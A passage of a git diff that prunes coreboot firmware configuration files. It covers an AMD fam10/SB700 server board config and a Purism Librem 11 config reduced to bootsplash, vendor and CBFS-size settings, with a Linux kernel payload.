CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x1000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# CONFIG_SYSTEM_TYPE_LAPTOP is not set -# CONFIG_SYSTEM_TYPE_TABLET is not set -# CONFIG_SYSTEM_TYPE_DETACHABLE is not set -# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set -# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set - -# -# Chipset -# - -# -# SoC -# -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_CPU_ADDR_BITS=48 -CONFIG_MMCONF_BUS_NUMBER=256 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" -# CONFIG_SOC_CAVIUM_CN81XX is not set -CONFIG_ARCH_ARMV8_EXTENSION=0 -CONFIG_STACK_SIZE=0x1000 -# CONFIG_SOC_CAVIUM_COMMON is not set -# CONFIG_SOC_INTEL_GLK is not set -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_TTYS0_BASE=0x2f8 -CONFIG_HPET_MIN_TICKS=0x14 -CONFIG_UART_PCI_ADDR=0x0 -# CONFIG_SOC_MEDIATEK_MT8173 is not set -# CONFIG_SOC_MEDIATEK_MT8183 is not set -# CONFIG_SOC_NVIDIA_TEGRA124 is not set -# CONFIG_SOC_NVIDIA_TEGRA210 is not set -# CONFIG_SOC_QUALCOMM_COMMON is not set -# CONFIG_SOC_QC_IPQ40XX is not set -# CONFIG_SOC_QC_IPQ806X is not set -# CONFIG_SOC_QUALCOMM_QCS405 is not set -# CONFIG_SOC_QUALCOMM_SC7180 is not set -# CONFIG_SOC_QUALCOMM_SDM845 is not set -# CONFIG_SOC_ROCKCHIP_RK3288 is not set -# CONFIG_SOC_ROCKCHIP_RK3399 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set -# CONFIG_SOC_UCB_RISCV is not set - -# -# CPU -# -CONFIG_CPU_SOCKET_TYPE=0x15 -# CONFIG_EXT_RT_TBL_SUPPORT is not set -CONFIG_CBB=0x0 -CONFIG_CDB=0x18 -CONFIG_XIP_ROM_SIZE=0x80000 -CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y -CONFIG_CPU_AMD_MODEL_10XXX=y -CONFIG_USE_LARGE_DCACHE=y -CONFIG_NUM_IPI_STARTS=1 -CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 -CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 -CONFIG_DCACHE_AP_STACK_SIZE=0x500 -CONFIG_SET_FIDVID=y -CONFIG_LIFT_BSP_APIC_ID=y -CONFIG_SET_FIDVID_DEBUG=y -CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y -# CONFIG_SET_FIDVID_CORE0_ONLY is not set -CONFIG_SET_FIDVID_CORE_RANGE=0 -CONFIG_UDELAY_LAPIC_FIXED_FSB=200 -# CONFIG_CPU_AMD_AGESA is not set -# CONFIG_CPU_AMD_PI is not set -# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set -CONFIG_SSE2=y -# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set -# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set -# CONFIG_CPU_TI_AM335X is not set -CONFIG_PARALLEL_CPU_INIT=y -# CONFIG_PARALLEL_MP is not set -CONFIG_UDELAY_LAPIC=y -# CONFIG_LAPIC_MONOTONIC_TIMER is not set -# CONFIG_UDELAY_TSC is not set -CONFIG_TSC_SYNC_LFENCE=y -# CONFIG_TSC_SYNC_MFENCE is not set -# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set -CONFIG_LOGICAL_CPUS=y -# CONFIG_HAVE_SMI_HANDLER is not set -# CONFIG_NO_SMM is not set -# CONFIG_SMM_ASEG is not set -CONFIG_SMM_TSEG=y -CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 -CONFIG_SMM_STUB_STACK_SIZE=0x400 -# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set -# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set -CONFIG_X86_AMD_FIXED_MTRRS=y -# CONFIG_X86_AMD_INIT_SIPI is not set -# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set -# CONFIG_SOC_SETS_MSRS is not set -CONFIG_CAR_GLOBAL_MIGRATION=y -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -# CONFIG_USES_MICROCODE_HEADER_FILES is not set -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_NONE=y -CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y - -# -# Northbridge -# -# CONFIG_NORTHBRIDGE_AMD_AGESA is not set -CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y -CONFIG_AGP_APERTURE_SIZE=0x4000000 -CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" -CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y -# CONFIG_HT_CHAIN_DISTRIBUTE is not set -# CONFIG_DIMM_DDR2 is not set -CONFIG_DIMM_DDR3=y -CONFIG_DIMM_REGISTERED=y -CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y -# CONFIG_SVI_HIGH_FREQ is not set - -# -# HyperTransport setup -# -# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set -CONFIG_LIMIT_HT_DOWN_WIDTH_16=y -# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set -CONFIG_LIMIT_HT_UP_WIDTH_16=y -# CONFIG_NORTHBRIDGE_AMD_PI is not set - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y -CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" -# CONFIG_AMD_SB_CIMX is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set -CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y -CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y -# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set -CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y -CONFIG_SOUTHBRIDGE_AMD_SR5650=y -CONFIG_EXT_CONF_SUPPORT=y -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set -# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set -# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set - -# -# Super I/O -# -# CONFIG_SUPERIO_ASPEED_AST2400 is not set -# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is not set -# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set -# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set -CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y -CONFIG_SUPERIO_WINBOND_W83667HG_A=y - -# -# Embedded Controllers -# -# CONFIG_EC_GOOGLE_WILCO is not set -# CONFIG_CAVIUM_BDK is not set -# CONFIG_MAINBOARD_HAS_CHROMEOS is not set -# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set -# CONFIG_UEFI_2_4_BINDING is not set -# CONFIG_UDK_2015_BINDING is not set -# CONFIG_UDK_2017_BINDING is not set -# CONFIG_USE_SIEMENS_HWILIB is not set -# CONFIG_ARM_LPAE is not set -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -# CONFIG_ARCH_POSTCAR_X86_32 is not set -CONFIG_ARCH_RAMSTAGE_X86_32=y -# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set -# CONFIG_ARCH_VERSTAGE_X86_64 is not set -# CONFIG_ARCH_ROMSTAGE_X86_64 is not set -# CONFIG_ARCH_POSTCAR_X86_64 is not set -# CONFIG_ARCH_RAMSTAGE_X86_64 is not set -# CONFIG_USE_MARCH_586 is not set -# CONFIG_AP_IN_SIPI_WAIT is not set -# CONFIG_SIPI_VECTOR_IN_ROM is not set -CONFIG_RAMBASE=0xe00000 -CONFIG_RAMTOP=0x1000000 -# CONFIG_CBMEM_TOP_BACKUP is not set -CONFIG_PC80_SYSTEM=y -# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y -# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set -# CONFIG_HPET_ADDRESS_OVERRIDE is not set -CONFIG_HPET_ADDRESS=0xfed00000 -CONFIG_ID_SECTION_OFFSET=0x80 -# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set -# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" -CONFIG_ACPI_HAVE_PCAT_8259=y -# CONFIG_PAGING_IN_CACHE_AS_RAM is not set -# CONFIG_IDT_IN_EVERY_STAGE is not set -# CONFIG_PIRQ_ROUTE is not set - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y -# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set -CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y -# CONFIG_MULTIPLE_VGA_ADAPTERS is not set - -# -# Display -# -CONFIG_VGA_TEXT_FRAMEBUFFER=y -CONFIG_SMBUS_HAS_AUX_CHANNELS=y -CONFIG_PCI=y -# CONFIG_NO_MMCONF_SUPPORT is not set -CONFIG_MMCONF_SUPPORT=y -CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -# CONFIG_AZALIA_PLUGIN_SUPPORT is not set -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -# CONFIG_EARLY_PCI_BRIDGE is not set -# CONFIG_SOFTWARE_I2C is not set - -# -# Generic Drivers -# -# CONFIG_DRIVERS_AS3722_RTC is not set -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_MAINBOARD_HAS_CRB_TPM is not set -# CONFIG_GIC is not set -CONFIG_IPMI_KCS=y -# CONFIG_DRIVERS_LENOVO_WACOM is not set -# CONFIG_RT8168_GET_MAC_FROM_VPD is not set -# CONFIG_RT8168_SET_LED_MODE is not set -# CONFIG_SMMSTORE_IN_CBFS is not set -CONFIG_SPI_FLASH=y -# CONFIG_SPI_SDCARD is not set -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set -# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set -# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set -# CONFIG_NO_UART_ON_SUPERIO is not set -# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set -# CONFIG_UART_OVERRIDE_REFCLK is not set -# CONFIG_DRIVERS_UART_8250MEM is not set -# CONFIG_DRIVERS_UART_8250MEM_32 is not set -# CONFIG_HAVE_UART_SPECIAL is not set -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_DRIVERS_UART_PL011 is not set -# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_WIFI is not set -# CONFIG_DRIVERS_AMD_PI is not set -CONFIG_DRIVERS_ASPEED_AST2050=y -CONFIG_DRIVERS_ASPEED_AST_COMMON=y -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_I2C_MAX98373 is not set -# CONFIG_DRIVERS_I2C_MAX98927 is not set -# CONFIG_DRIVERS_I2C_PCA9538 is not set -# CONFIG_DRIVERS_I2C_PCF8523 is not set -# CONFIG_DRIVERS_I2C_PTN3460 is not set -# CONFIG_DRIVERS_I2C_RT1011 is not set -# CONFIG_DRIVERS_I2C_RT5663 is not set -# CONFIG_DRIVERS_I2C_RTD2132 is not set -# CONFIG_DRIVERS_I2C_RX6110SA is not set -# CONFIG_DRIVERS_I2C_SX9310 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set -CONFIG_DRIVERS_I2C_W83795=y -# CONFIG_PLATFORM_USES_FSP1_0 is not set -# CONFIG_PLATFORM_USES_FSP2_0 is not set -# CONFIG_PLATFORM_USES_FSP2_1 is not set -# CONFIG_INTEL_DDI is not set -# CONFIG_INTEL_EDID is not set -# CONFIG_INTEL_INT15 is not set -# CONFIG_INTEL_GMA_ACPI is not set -# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set -# CONFIG_INTEL_GMA_SWSMISCI is not set -# CONFIG_DRIVER_INTEL_I210 is not set -# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set -# CONFIG_HAVE_INTEL_PTT is not set -# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set -# CONFIG_DRIVER_MAXIM_MAX77686 is not set -# CONFIG_DRIVER_PARADE_PS8625 is not set -# CONFIG_DRIVER_PARADE_PS8640 is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_LPC_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_MAINBOARD_HAS_LPC_TPM=y -CONFIG_VGA=y -# CONFIG_DRIVERS_RICOH_RCE822 is not set -# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set -# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set -# CONFIG_DRIVERS_SIL_3114 is not set -# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set -# CONFIG_DRIVER_TI_TPS65090 is not set -# CONFIG_DRIVERS_TI_TPS65913 is not set -# CONFIG_DRIVERS_TI_TPS65913_RTC is not set -# CONFIG_DRIVERS_USB_ACPI is not set -# CONFIG_COMMONLIB_STORAGE is not set - -# -# Security -# - -# -# Verified Boot (vboot) -# - -# -# Trusted Platform Module -# -CONFIG_TPM1=y -# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y -# CONFIG_USER_TPM2 is not set -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y - -# -# Memory initialization -# -# CONFIG_ACPI_SATA_GENERATOR is not set -# CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set -# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set -# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set -# CONFIG_RTC is not set - -# -# Console -# -CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_CONSOLE_SERIAL=y - -# -# I/O mapped, 8250-compatible -# - -# -# Serial port base address = 0x2f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_BAUD=115200 -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set -CONFIG_HWBASE_DEBUG_CB=y -CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y -# CONFIG_NO_MONOTONIC_TIMER is not set -CONFIG_HAVE_MONOTONIC_TIMER=y -# CONFIG_TIMER_QUEUE is not set -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_PCI_IO_CFG_EXT=y -CONFIG_IOAPIC=y -# CONFIG_USE_WATCHDOG_ON_BOOT is not set -# CONFIG_GFXUMA is not set -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_HAVE_MP_TABLE=y -CONFIG_HAVE_PIRQ_TABLE=y -# CONFIG_COMMON_FADT is not set -# CONFIG_ACPI_NHLT is not set - -# -# System tables -# -CONFIG_GENERATE_MP_TABLE=y -CONFIG_GENERATE_PIRQ_TABLE=y -CONFIG_GENERATE_SMBIOS_TABLES=y -# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BAYOU is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y -# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set - -# -# Debugging -# - -# -# CPU Debug Settings -# -CONFIG_HAVE_DEBUG_CAR=y -# CONFIG_DEBUG_CAR is not set - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -# CONFIG_DEBUG_PIRQ is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_TRACE is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_HAVE_EM100_SUPPORT is not set -CONFIG_ENABLE_APIC_EXT_ID=y -CONFIG_WARNINGS_ARE_ERRORS=y -# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set -# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set -# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set -# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set -# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set -# CONFIG_REG_SCRIPT is not set -# CONFIG_NO_XIP_EARLY_STAGES is not set -# CONFIG_EARLY_CBMEM_LIST is not set -CONFIG_RELOCATABLE_MODULES=y -CONFIG_NO_STAGE_CACHE=y -CONFIG_BOOTBLOCK_CUSTOM=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 2ce79c1c6..09f4c3738 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -1,753 +1,21 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem 11" -CONFIG_MAINBOARD_PART_NUMBER="Librem 11" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_jsl" -CONFIG_VGA_BIOS_ID="8086,4e61" -CONFIG_DIMM_MAX=2 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 -CONFIG_MAX_CPUS=4 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/purism/librem_jsl/data.vbt" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set 